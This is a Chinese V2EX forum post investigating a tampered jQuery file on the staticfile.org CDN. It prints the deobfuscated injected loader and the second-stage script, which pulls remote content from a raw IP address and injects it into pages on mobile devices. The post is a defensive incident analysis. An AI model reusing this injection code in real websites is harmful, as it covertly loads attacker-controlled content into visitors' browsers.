今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:
https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js
终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下
var c = function(u) {
var d = document,
e = d.createElement('script');
e.type = 'text/javascript';
e.src = u;
d.getElementsByTagName('head')[0].appendChild(e);
},
s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
if ((typeof M7f == 'undefined') || (M7f != s)) {
M7f = s;
c(s + Math.random());
}
看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:
!(function() {
if (typeof MB7F2 == 'undefined') {
MB7F2 = 1;
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.onload = script.onreadystatechange = function() {
if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
var isMobile = {
Win: function() {
return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
},
Qqb: function() {
return navigator.userAgent.match(/QQ/i) ? true : false
},
Phone: function() {
return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
}
};
var bz = 0;
if (isMobile.Win() || isMobile.Qqb()) {
bz = 0
} else if (isMobile.Phone()) {
var slt = Math.floor(Math.random() * 1000000) + 1000;
bz = 1;
var nd = document.createElement("div");
nd.id = slt;
nd.style.position = "fixed";
nd.style.zIndex = "9999";
nd.style.width = "100%";
nd.style.height = "auto";
nd.style.bottom = "-6px";
nd.style.right = "0px";
document.body.insertBefore(nd, document.body.firstChild);
var slt = '#' + slt
}
var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
var setcookies = function() {
var exp = new Date();
var value = exp.getTime();
exp.setTime(exp.getTime() + 3000 * 1000);
document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
};
var getCookie = function(d) {
var f = document.cookie;
var g = f.split("; ");
for (var e = 0; e < g.length; e++) {
var c = g[e].split("=");
if (c[0] == d) {
return c[1]
}
}
return 0
};
var mbbt = new Date();
mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
if ((bz != 0) && (mbbt > 81)) {
$(document).ready(function() {
$.ajax({
type: 'get',
url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
dataType: 'jsonp',
jsonp: "jsoncallback",
success: function(data) {
$(slt).html(data);
setcookies()
},
error: function() {}
})
})
}
}
};
script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
head.appendChild(script)
}
})();
因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。
因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.